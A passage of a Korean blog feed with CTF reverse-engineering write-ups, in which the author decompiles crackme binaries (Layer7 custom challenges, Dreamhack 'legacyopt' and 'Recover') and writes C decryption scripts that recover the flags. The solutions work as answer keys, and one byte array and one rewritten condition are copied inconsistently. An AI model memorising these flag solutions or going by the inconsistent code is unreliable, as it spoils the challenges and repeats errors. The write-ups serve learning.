    __printf_chk(1, &quot;Error reading input!\n&quot;);
  }
  return v24;
}</code></pre><p>뭔가 복잡해보이지만 하나씩 풀어보면 과제를 하면서 한 번쯤 해봤던 암호화들이 여러 개가 엮여서 이루어진 것이였다.</p>
<p>하나씩 확인해보면
XOR 연산을 통해 입력받은 문자열을 바이트마다 다른 키로 암호화를 시도한다.
그 후, 1차 암호화 된 값을 복잡한 형태로 덧셈 연산하는데 이를 피보나치 수열을 변형하여 암호화 한 것이라고 한다.
다음으로 이제는 너무나도 익숙한 비트 회전 ROL을 실행한다.
마지막으로 한 번 더 XOR 연산을 실시 한 후 최종적으로 비교를 하여 일치하면 참을 출력한다.
XOR 연산은 결과에 다시 XOR 연산을 가하면 원래 값이되는 것을 이용한다.
비트 회전은 다시 반대로 회전시키면 쉽게 원래 값을 찾을 수 있다.
복잡한 덧셈 연산 암호화는 덧셈이기 때문에 이항해서 하나씩 풀면 풀린다.</p>
<p>아무리봐도 과제식 시간 끌기 문제였던 것 같다.
패치나 gdb 실행을 시키지 않고 순수히 역연산 코드를 일일이 짰다..
unk_402040 안에 키값이 들어있지만, 너무 길어서 적기를 포기했다..
144바이트 ....</p>
<pre><code>#include &lt;stdio.h&gt;

unsigned char enc[144] = {
    0xE8,0x04,0x56,0x9D,0x40,0x31,0xDD,0x99,0xD6,0xAC,0x77,0x4B,0xAD,0xE5,0xFB,0xEA,
    0xDC,0x9C,0xF7,0xF4,0x55,0xC4,0xD8,0x44,0x23,0x04,0xAB,0x74,0xA6,0x9C,0xCE,0x32,
    0x60,0xF0,0x03,0x6F,0x65,0xD6,0xC9,0x91,0xDE,0x42,0xEC,0x71,0xA3,0xC5,0xA8,0x86,
    0x66,0x69,0x56,0xCE,0x77,0x5F,0xB0,0x25,0x05,0x71,0xD9,0x35,0x97,0xEF,0x90,0x71,
    0x88,0x12,0xCA,0x8A,0x92,0x64,0x40,0x88,0x5E,0xD3,0x79,0x82,0xC2,0x02,0x18,0xEB,
    0x10,0x75,0xDC,0x27,0x66,0xDC,0x7A,0x39,0x42,0x4B,0x32,0x78,0x9E,0x2A,0x46,0xDD,
    0x94,0x0D,0xE6,0x8D,0x21,0xC6,0x9E,0x67,0x67,0x80,0xB5,0x22,0xEE,0xB4,0xE6,0x76,
    0xC1,0x95,0x07,0x69,0x92,0x59,0x1B,0x33,0x83,0xD0,0xDD,0x1C,0xDE,0x4E,0x50,0x43,
    0x52,0xA5,0x84,0x8B,0x8E,0x41,0x18,0x25,0x63,0x9A,0x78,0x10,0x8C,0xA8,0x60,0xAB
};

unsigned char ror(unsigned char val, unsigned char r_bits) {
    return (val &gt;&gt; r_bits) | (val &lt;&lt; (8 - r_bits));
}

void decrypt(unsigned char *flag) {
    unsigned char v21 = 0;

    for (int i = 0; i &lt; 144; i++) {
        unsigned char tmp = flag[i];
        tmp ^= 0xAA;
        flag[i] = tmp ^ v21;
        v21 = (v21 + 3) &amp; 0xFF;
    }

    for (int i = 0; i &lt; 144; i++) {
        flag[i] = ror(flag[i], (i % 7) + 1);
    }

    unsigned char v17 = 55;
    unsigned char v18 = 19;

    for (int i = 0; i &lt; 144; i++) {
        flag[i] = (flag[i] - v18) &amp; 0xFF;
        unsigned char tmp = v17;
        v17 = (v17 + v18) &amp; 0xFF;
        v18 = tmp;
    }

    unsigned char v14 = 0;
    for (int i = 0; i &lt; 144; i++) {
        flag[i] ^= (v14 ^ 0x42);
        v14 = (v14 + 23) &amp; 0xFF;
    }
}

int main() {
    unsigned char flag[144];

    for (int i = 0; i &lt; 144; i++) {
        flag[i] = enc[i];
    }

    decrypt(flag);

    for (int i = 0; i &lt; 144; i++) {
            printf(&quot;%c&quot;, flag[i]);
    }

    return 0;
}</code></pre><p>ROL 비트회전을 복호화를 위한 ROR을 함수로 선언해준 후, main 함수에는 최종 결과값만 출력하도록 구현하였다.
나머지 복호화는 전부 decrypt 함수에서 실시한다.</p>
<p>해당 코드를 실행 시키면 플래그가 출력된다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[리버싱 8차시]]></title>
            <link>https://velog.io/@shin_yy/%EB%A6%AC%EB%B2%84%EC%8B%B1-8%EC%B0%A8%EC%8B%9C</link>
            <guid>https://velog.io/@shin_yy/%EB%A6%AC%EB%B2%84%EC%8B%B1-8%EC%B0%A8%EC%8B%9C</guid>
            <pubDate>Sun, 06 Jul 2025 13:55:14 GMT</pubDate>
            <description><![CDATA[<h1 id="layer7-ctf">Layer7 CTF</h1>
<p><img src="https://velog.velcdn.com/images/shin_yy/post/22eba044-8313-4587-bb4f-c6ecbf3d1289/image.png" alt=""></p>
<h2 id="custom-1">Custom 1</h2>
<p>문제 파일을 다운로드 받고 IDA로 컴파일하였다.
<img src="https://velog.velcdn.com/images/shin_yy/post/817ab784-c0a1-48a3-b25c-81be78e2d638/image.png" alt="">
다음의 코드의 상단부터 천천히 확인해보면
vars0이라는 80길이의 문자열을 선언하고 s라는 문자열에 값을 입력받는 것으로 추정해볼 수 있다.
v4에다가는 정수 25를 대입한다.
반복문에서는 vars0의 값에 키 값인 enc1_0을 이용해 암호화한 코드를 대입하는 것을 알 수 있다.
그 후, 입력받은 s의 값과 암호화된 vars0의 값을 비교하여 일치 할 경우 &quot;Correct!&quot;가 출력된다.</p>
<p>먼저 fgets를 이용하여 값을 입력받고 암호화하여 key값과 비교하는 것이 아닌 key값을 암호화 해제하여 입력받은 값과 비교하여 &quot;correct!&quot;를 출력하는 것이기 때문에 위 코드에 vars0에 저장하는 과정이 바로 flag 값을 만드는 과정인것이다.</p>
<p>따라서 vars0에 대입하는 코드 부분을 그대로 따라쓰면 우리는 enc1_0 배열의 값들을 모두 알고 있기 때문에 flag를 구할 수 있다.
<img src="https://velog.velcdn.com/images/shin_yy/post/72bdf00b-595c-49bc-9d9e-d1f8eede4e47/image.png" alt=""></p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int v3;
    int v6;
    int v7;
    int v8; 
    char vars0[80];
    unsigned enc1_0[64] = {
        0x19, 9,    0x4E, 0xB7, 0xD3, 0x83, 8,    0x6D, 0x9A, 0x89, 0x8C,
        0x33, 0xE,  0x92, 0xCD, 0xA2, 0xD2, 0x20, 0x8C, 0x8B, 0x96,
        0x95, 0x56, 0xA7, 0x8A, 0xB2, 0xC7, 0x0F, 0xAA, 0x8E, 0x82,
        0xEC, 0x26, 0x4A, 0xBE, 0xAB, 0x96, 5,    0x74, 0xBA, 0xCF,
        0xB8, 0x33, 0x78, 0x80, 0xBE, 0x91, 0x2C, 0x17, 0xC8, 0x60,
        0x86, 0x43, 0x28, 0x33, 0x6F, 0xAE, 0xC2, 0x7A, 0x68, 0x2A,
        0xB9, 0xA4, 0x2B
    };

    int v4 = 25;
    v3 = 0;

    for (int i = 0; v4 = enc1_0[i]; i++) {
        v6 = v3;
        v3 = (unsigned int)(v3 + 51);
        v7 = v4 ^ ((v6 ^ 0x55u) + 2 * i);
        vars0[i] = v7;

        if ( i == 64 ) 
            break;
    }

    vars0[64] = 0;

    for (int i = 0; i &lt; 64; i++) {
        printf(&quot;%c&quot;, vars0[i]);
    }
}</code></pre><h2 id="custom-2">Custom 2</h2>
<p>문제 파일을 다운받아 컴파일 해보면
<img src="https://velog.velcdn.com/images/shin_yy/post/d6551dde-d9f6-4b08-9643-7fe357e3dcba/image.png" alt="">
이러한 main함수를 알 수 있다.
입력받은 문자열 s를 인자로 가지는 validate_input 함수를 확인해보면
<img src="https://velog.velcdn.com/images/shin_yy/post/88252f4a-9d4e-4cec-bcfd-081d9685c102/image.png" alt="">
&quot;this is not the way&quot; 라는 문구가 있는걸 보니 이 함수는 가짜인 것 같다.
전체적으로 둘러보기 앞서 먼저 함수 목록을 살펴보았다.
<img src="https://velog.velcdn.com/images/shin_yy/post/44b8b0fd-53f8-4c94-a9af-33dfed4da059/image.png" alt="">
print_flag라는 함수가 너무 수상해보여서 일단 먼저 확인해보았다.
<img src="https://velog.velcdn.com/images/shin_yy/post/12142a0a-73d7-4e79-9786-40e7c5f8ca00/image.png" alt="">
<img src="https://velog.velcdn.com/images/shin_yy/post/c749d62a-6e11-4ee8-84d5-7990707c3d4c/image.png" alt="">
누가봐도 진짜같아 보이는 암호화 함수를 발견했다.
다른 것도 둘러보았지만 이 함수만큼 확실해보이는 것은 없었다.
해당 코드를 분석해보면 여러가지 함수를 호출하여 암호화를 실행하고 최종적으로 완료된 문장을 puts를 통해 출력하는 코드였다.
<img src="https://velog.velcdn.com/images/shin_yy/post/bbfe065c-23a2-4ff8-88b4-98eb68c91fad/image.png" alt="">
inv_p(n) 역시 가짜함수가 아니였다.
모든 코드에 대한 풀이 소스를 짜는 것은 무리가 있어보였기에 동적분석을 하기로 선택했다.</p>
<p>다시 처음부터 생각해보면 이 코드는 main함수에서 validate_input 함수를 이용하여 가짜 검사를 진행한다.</p>
<p>이때 생각을 뒤집어서 해보면 가짜 검사를 하는 validate_input 함수 대신 print_flag 함수를 호출하면 flag 값을 알아낼 수 있을 것이라고 생각했다.
<img src="https://velog.velcdn.com/images/shin_yy/post/d825cc7a-af07-4203-a8ab-4c525bed612e/image.png" alt="">
생각을 토대로 바로 실행해주었다.
<img src="https://velog.velcdn.com/images/shin_yy/post/c078e7f5-bf33-417f-adef-fc9c7655f8c4/image.png" alt="">
잘 바뀐 것을 확인하고 난 후, gdb를 가서 해당 파일을 실행시켜주었다.
<img src="https://velog.velcdn.com/images/shin_yy/post/47c5183e-f7f0-4fd4-b37e-7b54d1c99b9a/image.png" alt="">
Enter password는 validate_input 함수의 인자를 입력받는 함수였으므로, 이제는 사실상 의미가 없는 함수니 무시하고 아무거나 입력해줬다.</p>
<p>정상적으로 print_flag 함수가 작동하며 플래그 값을 얻었다.</p>
<h1 id="dreamhack-reversing">Dreamhack Reversing</h1>
<p><img src="https://velog.velcdn.com/images/shin_yy/post/f0ee8f28-33c6-4f68-9724-e5f719a7fbb5/image.png" alt=""></p>
<h1 id="dreamhack-wargame">Dreamhack Wargame</h1>
<h2 id="legacyopt">legacyopt</h2>
<p><img src="https://velog.velcdn.com/images/shin_yy/post/5d5e88d9-c3b5-457d-8bdd-36c39ed9fe81/image.png" alt="">
문제 파일은 legacyopt와 output 두 개가 주어진다.
output은 Base64로 암호화된 플래그로 추정되는 문자열이 담겨있다.
<img src="https://velog.velcdn.com/images/shin_yy/post/5414f4db-703a-458e-87f2-a66f0e0b9d79/image.png" alt="">
legacyopt를 IDA로 디컴파일 해보았다.
<img src="https://velog.velcdn.com/images/shin_yy/post/af33c5c6-67c1-41c9-90e0-99f2940a75a9/image.png" alt="">
문자열을 입력받아 s에 저장하고 ptr과 함께 sub_1209에 인자로 보낸 후,
2자리 Hex값으로 ptr을 출력한다.
sub_1209를 분석하여 이 프로그램이 무엇을 하는 프로그램인지 분석해보았다.
<img src="https://velog.velcdn.com/images/shin_yy/post/17860f3c-dc8b-4a5d-9218-290bc3a9547a/image.png" alt="">
<img src="https://velog.velcdn.com/images/shin_yy/post/85886bfc-5e48-4f83-a9b0-6fb13352b4d8/image.png" alt="">
<img src="https://velog.velcdn.com/images/shin_yy/post/8da6b1bb-f590-4a36-8336-301d8610ee45/image.png" alt="">
a3의 길이를 8로 나눈 나머지에 따라 switch문을 거치는 것을 그대로 구현하면 될 것 같다.
각 label이 모두 특정한 값과 XOR을 하는 모두 똑같은 구조를 가지고 있다.
따라서 이 코드는 s[i]에 어떤 값을 xor해서 ptr에 저장한다.</p>
<p>output은 결과이기에 2자리 Hex값 일 것이다.</p>
<p>그렇기에 output을 ptr에 넣고 다시 XOR 해주면 flag를 얻을 수 있을 것이다.
하지만 이 프로그램에서는 아까 말했듯, 출력을 2자리 Hex값으로 하기 때문에
따로 label의 XOR key값과 output의 문자열만 가지고 익스플로잇 코드를 작성 할 수 있었다.</p>
<pre><code>#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string.h&gt;

int main() {
    const char *out_put = &quot;220c6a33204455fb390074013c4156d704316528205156d70b217c14255b6ce10837651234464e&quot;;
    unsigned char key[8] = {0x66, 0x44, 0x11, 0x77, 0x55, 0x22, 0x33, 0x88};
    size_t len = strlen(out_put) / 2;
    unsigned char *flag = malloc(len);

    for (size_t i = 0; i &lt; len; i++) {
        sscanf(&amp;out_put[i * 2], &quot;%2hhx&quot;, &amp;flag[i]);
    }

    for (size_t i = 0; i &lt; len; i++) {
        printf(&quot;%c&quot;, flag[i] ^ key[i % 8]);
    }

    putchar(&#39;\n&#39;);

    free(flag);
    return 0;
}</code></pre><h2 id="recover">Recover</h2>
<p><img src="https://velog.velcdn.com/images/shin_yy/post/a2051c65-3c16-4011-b50f-12e28c0f9852/image.png" alt="">
파일을 다운로드 받아보면 두 개의 파일이 존재한다.
<img src="https://velog.velcdn.com/images/shin_yy/post/e1695597-0ae9-4701-a97e-9e66e830a14a/image.png" alt="">
그 중 소스 코드가 들어있는 파일은 chall이라는 파일이였다.
밑에 encrypted 파일은 무언가 암호화된 파일로 예상됬다.
<img src="https://velog.velcdn.com/images/shin_yy/post/37881764-ca98-425b-855f-a8770f6459bf/image.png" alt="">
이 소스를 분석해보면 읽기모드로 실행한 flag.png를 stream 에 저장한다.
stream 에서 1byte를 읽어서 ptr 에 저장하고, 4byte의 v6를 순환하여 XOR 연산을 수행한다.
XOR의 키 값은 v6이기 때문에 unk_2004에 들어있었다.
<img src="https://velog.velcdn.com/images/shin_yy/post/d14f5261-3804-45eb-aa35-d7c02aed7567/image.png" alt="">
이 값에 19를 더하여 암호화하여 ptr 에 덧붙이고 쓰기모드로 실행한 encrypted 파일로 저장하는 방식이다.
디컴파일 코드의 복잡함에 비해 복호화 코드는 연산 부분만 역연산으로 수정 하면 되기에 쉽게 구연할 수 있었다.</p>
<pre><code>#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;

int main() {
    char ptr;
    int v5 = 0;
    unsigned char v6[4] = {0xDE, 0xAD, 0xBE, 0xEF};
    FILE *encrypted_file = fopen(&quot;encrypted&quot;, &quot;rb&quot;);
    FILE *decrypted_file = fopen(&quot;decrypted.png&quot;, &quot;wb&quot;);

    if (!encrypted_file) {
        puts(&quot;fopen() error for encrypted file&quot;);
        exit(1);
    }

    if (!decrypted_file) {
        puts(&quot;fopen() error for decrypted file&quot;);
        fclose(encrypted_file);
        exit(1);
    }

    while (fread(&amp;ptr, 1, 1, encrypted_file) == 1) {
    ptr -= 0x13;
    ptr ^= v6[v5++ % 4];
    fwrite(&amp;ptr, 1, 1, decrypted_file);
}

    fclose(encrypted_file);
    fclose(decrypted_file);
    return 0;
}</code></pre><p>vsc로 실행하니
<img src="https://velog.velcdn.com/images/shin_yy/post/4e3e5fc9-165a-4a7c-afc0-8f279eb7d35f/image.png" alt="">
다음과 같은 png 파일이 생성되며 flag를 알 수 있었다.</p>
<p>개인적으로 fwrite 등의 파일을 여는 코드를 다뤄본 것이 오랜만이라서 복호화 코드만을 작성하면 된다는 것을 간과한 채, 뻘짓을 하여 시간을 다 날렸다 ...</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[리버싱 7차시]]></title>
            <link>https://velog.io/@shin_yy/%EB%A6%AC%EB%B2%84%EC%8B%B1-7%EC%B0%A8%EC%8B%9C</link>
            <guid>https://velog.io/@shin_yy/%EB%A6%AC%EB%B2%84%EC%8B%B1-7%EC%B0%A8%EC%8B%9C</guid>
            <pubDate>Sat, 21 Jun 2025 14:44:38 GMT</pubDate>
            <description><![CDATA[<h1 id="과제">과제</h1>
<p><img src="https://velog.velcdn.com/images/shin_yy/post/f36e42de-466e-4334-ab47-cbf5891629cd/image.png" alt=""></p>
<h2 id="custom-2">Custom 2</h2>
<blockquote>
</blockquote>
<p>문제 파일을 디컴파일 해보면
<img src="https://velog.velcdn.com/images/shin_yy/post/4e02be0f-42c7-48ed-a58c-12d3dab5a9e5/image.png" alt="">
코드가 함수하나 없이 깔끔한 편이여서 간단하게 풀 수 있었다.
먼저 중요한 변수들은 살펴보면,
v4 라는 정수형 변수에 76을 대입하고
vars0 이라는 80 크기의 문자열을 선언한다.
v3라는 변수는 추후 반복문에서 i 처럼 사용되는 것 같다.
s 라는 264 크기의 문자열을 선언하는데 이 변수는 추후에 문자열을 받기 위한
변수이기 때문에 신경쓰지 않겠다.
가장 중요한 key 변수 enc2_0 을 살펴보겠다.
<img src="https://velog.velcdn.com/images/shin_yy/post/9b60d8b6-410d-4bb7-9202-7f0f8542705c/image.png" alt="">
enc2_0 은 64 크기로 지정된 배열이다.
이 코드에서 암호화를 진행할 때 이 배열을 토대로 진행한다.</p>
<blockquote>
</blockquote>
<p>변수를 확인했으니 암호화를 진행하는 부분을 확인해보면
<img src="https://velog.velcdn.com/images/shin_yy/post/f33d03fc-06d5-4733-9d62-162598da28cc/image.png" alt="">
쉽게 설명해보면 vars0[i]에 v4 - i * i 를 대입하고,
v4를 enc2_0[i]로 값을 변환 시킨다.</p>
<blockquote>
</blockquote>
<p>플래그는 enc2_0 배열을 그대로 가져와 해당 암호화 코드를 시키면 찾아낼 수 있다.</p>
<pre><code>#include &lt;stdio.h&gt;
&gt;
int main() {
    int v3 = 0;
    int v4 = 76;
    char vars0[80];
    unsigned enc2_0[64] = {
        0x4C, 0x62, 0x7D, 0x6E, 0x82, 0x50, 0x9F, 0x87, 0x72, 0xBD, 0xD9,
        0xD3, 0xD7, 0xE2, 0xF7, 0x2A, 0x48, 0x6F, 0xB0, 0xC2, 0xE8,
        0x0B, 0x5E, 0x5A, 0x87, 0xB7, 0x1E, 0x22, 0x58, 0x9B, 0xF3,
        0x1B, 0x53, 0x83, 0xFB, 0x2B, 0x57, 0x9F, 0x19, 0x4B, 0x93, 0xD3,
        0x5E, 0x9D, 0xD7, 0x2F, 0xBD, 0x05, 0x48, 0xAE, 0x2B, 0x8B, 0xD7,
        0x4F, 0xCC, 0x35, 0xAD, 0x1D, 0x99, 0xE3, 0x87, 0xC6, 0x41,
        0xFE
    };
&gt;
    unsigned char * byte = (unsigned char *) vars0;
&gt;
    while ( 1 ) {
        byte[v3] = v4 - v3 * v3;
        if ( ++v3 == 64 )
            break;
        v4 = enc2_0[v3];
    }
&gt;   
    byte[64] = 0;
&gt;
    for (int i = 0; i &lt; 64; i++) {
        printf(&quot;%c&quot;, byte[i]);
    }
}</code></pre><h2 id="custom-3">Custom 3</h2>
<blockquote>
</blockquote>
<p>문제 파일을 디컴파일 해보면
<img src="https://velog.velcdn.com/images/shin_yy/post/27a3619b-e687-4850-9c2f-aa0e47e1ce9a/image.png" alt="">
변수 s에 최대 152 크기에 문자열을 입력받는다.
<img src="https://velog.velcdn.com/images/shin_yy/post/84954764-11d1-4249-bd91-35a231b1b3a2/image.png" alt="">
그리고 이 값들이 s1에 저장된다.</p>
<blockquote>
</blockquote>
<p>코드를 계속 읽어보면 funcs_1E5B라는 함수 배열이 존재하는데
<img src="https://velog.velcdn.com/images/shin_yy/post/e3525f41-2da0-4e36-816d-3ba9296659a2/image.png" alt="">
(입력받은 문자열의 길이 % 11) 번째 함수를 실행한다.
모든 함수는 구성이 비슷하다.
<img src="https://velog.velcdn.com/images/shin_yy/post/2abe079b-4d0b-44c2-bad5-87740a144a7a/image.png" alt="">
이렇게 생긴 구조에서 반복적으로 함수를 호출한다.
이 중 sub_1397 이라는 함수에 들어가게 되면 두 개의 함수가 뜨는데
그 곳에서 sub_12C6에 들어가면 키 값으로 XOR 연산을 하는 것을 발견할 수 있다.
<img src="https://velog.velcdn.com/images/shin_yy/post/82c2e183-21be-4300-bc49-c425029025b9/image.png" alt="">
키 값인 byte_2010에 저장된 값들을 확인해보면
<img src="https://velog.velcdn.com/images/shin_yy/post/6e8e4731-c83b-4714-9fc3-4bf508fcfd49/image.png" alt="">
이 값들을 s에 값에 115자리까지만 XOR 해주면 플래그가 출력될 것이다.</p>
<pre><code>#include &lt;stdio.h&gt;
&gt;
int main() {
    unsigned char byte_2010[16] = {
        0x10, 0x1F, 0x2E, 0x3D, 0x4C, 0x5B, 0x6A, 0x79,
        0x88, 0x97, 0xA6, 0xB5, 0xC4, 0xD3, 0xE2, 0xF1
    };
&gt;
    unsigned char s1[116] = {
        0x5C, 0x7E, 0x57, 0x58, 0x3E, 0x6C, 0x11, 0x2F,
        0xCF, 0xFF, 0xD6, 0xD6, 0xBD, 0x91, 0x96, 0xA8,
        0x48, 0x74, 0x49, 0x64, 0x21, 0x0E, 0x0D, 0x1D,
        0xCF, 0xFF, 0xCA, 0xFC, 0x83, 0xE6, 0x92, 0xAB,
        0x22, 0x77, 0x1E, 0x74, 0x04, 0x09, 0x05, 0x20,
        0xD0, 0xC6, 0xC1, 0xD7, 0x9C, 0xB8, 0x85, 0xAB,
        0x58, 0x55, 0x42, 0x64, 0x1B, 0x6A, 0x10, 0x30,
        0xCF, 0xA6, 0xD6, 0xEF, 0xF6, 0xBB, 0xD2, 0xB8,
        0x57, 0x67, 0x42, 0x59, 0x0F, 0x19, 0x1E, 0x23,
        0xDB, 0xD5, 0xD4, 0xD7, 0xA9, 0xEA, 0xD1, 0xB2,
        0x7B, 0x59, 0x5D, 0x5F, 0x0F, 0x19, 0x5A, 0x18,
        0xCF, 0xC2, 0xC1, 0xD6, 0xF7, 0x81, 0x8A, 0x92,
        0x7E, 0x52, 0x49, 0x64, 0x14, 0x19, 0x1D, 0x1A,
        0xE5, 0xAE, 0xCE, 0xEC, 0xF6, 0xB4, 0x85, 0x94,
        0x47, 0x26, 0x1F, 0x40
    };
&gt;
    for (int i = 0; i &lt; 116; i++) {
        s1[i] ^= byte_2010[i % 16];
    }
&gt;
    for (int i = 0; i &lt; 116; i++) {
        printf(&quot;%c&quot;, s1[i]);
    }
&gt;
    return 0;
}</code></pre>]]></description>
        </item>
        <item>
            <title><![CDATA[리버싱 6차시]]></title>
            <link>https://velog.io/@shin_yy/%EB%A6%AC%EB%B2%84%EC%8B%B1-6%EC%B0%A8%EC%8B%9C</link>
            <guid>https://velog.io/@shin_yy/%EB%A6%AC%EB%B2%84%EC%8B%B1-6%EC%B0%A8%EC%8B%9C</guid>
            <pubDate>Tue, 17 Jun 2025 14:33:38 GMT</pubDate>
            <description><![CDATA[<h1 id="r6">R6</h1>
<blockquote>
</blockquote>
<p><img src="https://velog.velcdn.com/images/shin_yy/post/10420e8b-2005-4c4e-bec9-f42eec7775a1/image.png" alt=""></p>
<h2 id="custom-1">Custom 1</h2>
<blockquote>
</blockquote>
<p>문제 파일을 다운받고, 디컴파일 해보면 ..
31번째줄에 check1 이라는 함수가 있다.
<img src="https://velog.velcdn.com/images/shin_yy/post/69dd91e1-9ba4-481d-90ab-12999e93b0d6/image.png" alt="">
해당 함수에서 &#39;참&#39;이 반환되는 입력값이 플래그일 것이기 때문에,
이 함수를 분석해보겠다.
<img src="https://velog.velcdn.com/images/shin_yy/post/2657e649-0e1f-41e0-beac-8f02d8d7b683/image.png" alt="">
변수 v5에 할당되는 배열을 알아내기 위해 해당 주소값을 찾아가보았다.
<img src="https://velog.velcdn.com/images/shin_yy/post/408af0f2-eabb-495b-82b3-e9709a37c580/image.png" alt="">
그 결과 다음과 같은 배열을 얻게 되었다.</p>
<pre><code>char v5[80] = {
        0xA6, 0x62, 0x55, 0xA8, 0x90, 0xAC, 0xBA, 0x0A, 0xE5, 0x3B, 0x07, 0xDD, 0x09, 0x03, 0x8B, 0x49,
        0x8D, 0x73, 0x01, 0xCD, 0xF2, 0xCF, 0xAB, 0xB0, 0xBE, 0x12, 0x43, 0xD8, 0x55, 0xBD, 0xBB, 0x0E,
        0xC1, 0x18, 0xCF, 0x5A, 0xD0, 0x60, 0xB7, 0xF3, 0xE9, 0xB6, 0x4D, 0xD7, 0x14, 0x0B, 0x0A, 0x0F,
        0xC1, 0x05, 0x13, 0x77, 0x45, 0x7A, 0x20, 0x28, 0x79, 0x80, 0xCB, 0x9E, 0xF9, 0xBF, 0x55, 0x21,
        0x4D, 0x17, 0x11, 0x5D, 0x21, 0x77, 0x8F, 0xD1, 0xAA, 0x02, 0xE2, 0x7E, 0xFD, 0xAA, 0x15, 0x2C
    };</code></pre><p>해당 배열을 방금 check1 함수에서 문자열을 검사하는 역할을 하는 조건문에 역연산하면 된다.</p>
<pre><code>if ( *(_BYTE *)(a1 + v2) - ((v1 ^ 0xA6) + 4 * (_BYTE)v2) != v3 )
&gt;
| a1    | 검사 대상 문자열의 주소              
| v1    | 반복마다 `+93`씩 증가
| v2    | 0부터 79까지 반복 증가                                                
| v5[5] | 80바이트 16진수 배열</code></pre><p>이 조건문을 이해하기 쉽도록 C언어 기반으로 다시 작성해보았다.</p>
<pre><code>if (a1[i] - ((v1 ^ 0xA6) + 4 * v2 != v3))</code></pre><p>이제 해당 식을 이용하여 플래그를 출력하기 위한 역연산 코드를 구상해보겠다.</p>
<pre><code>I    |     a1[i] - ((v1 ^ 0xA6) + 4 * v2 != v3)
II     |    a1[v2] = v3 + ((v1 ^ 0xA6) + 4 * v2)</code></pre><p>해당 역연산식을 이용하여 플래그를 출력하는 프로그램을 작성해보았다.</p>
<pre><code>#include &lt;stdio.h&gt;
&gt;
int main()
{
    char v5[80] = {
        0xA6, 0x62, 0x55, 0xA8, 0x90, 0xAC, 0xDB, 0x0A, 0xE5, 0x3B,
        0x07, 0xDD, 0x09, 0x03, 0x8B, 0x49, 0x8D, 0x73, 0x01, 0xCD,
        0x26, 0xFF, 0xBC, 0x0A, 0xEB, 0x2B, 0x31, 0x84, 0x5D, 0xD5,
        0xBB, 0xE8, 0xC1, 0x8D, 0xF1, 0xAC, 0x05, 0x0D, 0x76, 0x3B,
        0x9F, 0x6E, 0xDB, 0x74, 0x4D, 0xB1, 0xA0, 0xF0, 0xC1, 0x05,
        0x13, 0x77, 0x45, 0x7A, 0x20, 0x28, 0x79, 0x80, 0xCB, 0x9E,
        0xF9, 0xBF, 0x55, 0x21, 0x4D, 0x17, 0x11, 0x5D, 0x21, 0x77,
        0x8F, 0xD1, 0xAA, 0x02, 0xE2, 0x7E, 0xFD, 0xAA, 0x15, 0x2C
    };
&gt;
    int a = 0;
&gt;
    for (int i = 0; i &lt; 80; i++) {
        v5[i] = v5[i] + ((a ^ 0xA6) + 4 * i);
        a += 93;
    }
&gt;
    for (int i = 0; i &lt; 80; i++) {
        printf(&quot;%c&quot;, v5[i]);
    }
&gt;
    putchar(&#39;\n&#39;); // 줄바꿈 추가 (선택 사항)
    return 0;
}</code></pre><p>그 결과 정상적인 플래그가 출력되었다.</p>
<h2 id="custom-2">Custom 2</h2>
<blockquote>
</blockquote>
<p>문제 파일을 다운받고, 디컴파일 해보면 ..
74번째줄에 check2 이라는 함수가 있다.
<img src="https://velog.velcdn.com/images/shin_yy/post/f0628ca7-b416-4ffe-9498-f8096e5c31df/image.png" alt="">
요번에도 마찬가지로 해당 함수를 분석해보겠다.
<img src="https://velog.velcdn.com/images/shin_yy/post/3e174cf3-afe3-446b-aff2-106cbc8a01b2/image.png" alt="">
저번에 이어서 다시 한 번 함수 rol이 나왔다.
rol은 왼쪽으로 비트를 회전시키는 함수이다.</p>
<pre><code>ror (오른쪽으로 비트 회전)    |    오른쪽으로 밀린 비트는 왼쪽 끝으로 돌아옴
rol (왼쪽으로 비트 회전)        |    왼쪽으로 밀린 비트는 오른쪽 끝으로 돌아옴</code></pre><p>함수 rol은 ((3 * i) ^ a1[i])와 (i % 7 + 1)을 연산한 후 반환한다.
그 후 v3 + i 와 일치하는지 검사한다.</p>
<blockquote>
</blockquote>
<p>이 식을 역연산하기 위해 ror을 사용하여 회전시킨 비트 수 만큼
다시 복호화하는 코드를 구상해보았다.</p>
<pre><code>#include &lt;stdio.h&gt;
&gt;
unsigned ror(unsigned char a1, int a2) {
    return (a1 &gt;&gt; a2) | (a1 &lt;&lt; (8 - a2));
}
&gt;
int main() {
    unsigned long long v3[21] = {
        v3[0] = 0x8EB40ECFC6FB8998LL,
        v3[1] = 0x21BCB25368270A01LL,
        v3[2] = 0x39C4F2B5D689171BLL,
        v3[3] = 0x93194406854821B0LL,
        v3[4] = 0x87E1D8EC10954864LL,
        v3[5] = 0xFB5C6BB58B321FCFLL,
        v3[6] = 0xFF243BEAEFC7C9EBLL,
        v3[7] = 0xCF657E5B3DF6A7F7LL,
        v3[8] = 0x1A6B4F25151AB41ELL,
        v3[9] = 0xA51A5B452E37A804LL,
        v3[10] = 0xF5BBE6775823F07ALL,
        v3[11] = 0xCF967B98E6BB5269LL,
        v3[12] = 0x58AA852A2DACB056LL,
        v3[13] = 0x164B41C02935DAB7LL,
        v3[14] = 0xEAB47A4B333990ELL,
        v3[15] = 0x7C1E27C74602F16DLL,
        v3[16] = 0xBFFBCFE57B3C8E46LL,
        v3[17] = 0x4F0697EF797E9D1FLL,
        v3[18] = 0x91EA4F3AB5E8E1FCLL,
        v3[19] = 0xE15D189C62F77DE3LL,
        v3[20] = 0x44F1B74B444E535CLL
&gt;
    };
&gt;
    unsigned char * byte = (unsigned char *) v3;
&gt;
    for (int i = 0; i &lt; 168; i++) {
        printf(&quot;%c&quot;, ror(byte[i], i % 7 + 1) ^ (3 * i));
    }
&gt;
    return 0;
}</code></pre><p>함수 ror을 선언한 후, 변수 v3의 값들을 byte 단위로 나누어준다.
그 후 역연산하여 출력하는 코드이다.</p>
<blockquote>
</blockquote>
<p>실행시키면 플래그가 나온다.</p>
<h2 id="custom-3">Custom 3</h2>
<blockquote>
</blockquote>
<p>문제 파일을 다운받고, 디컴파일 해보면 ..
31번째줄에 check3 이라는 함수가 있다.
<img src="https://velog.velcdn.com/images/shin_yy/post/66eaac1b-fa62-43ac-a7f0-77ea5179063b/image.png" alt="">
해당 함수를 분석해보겠다.
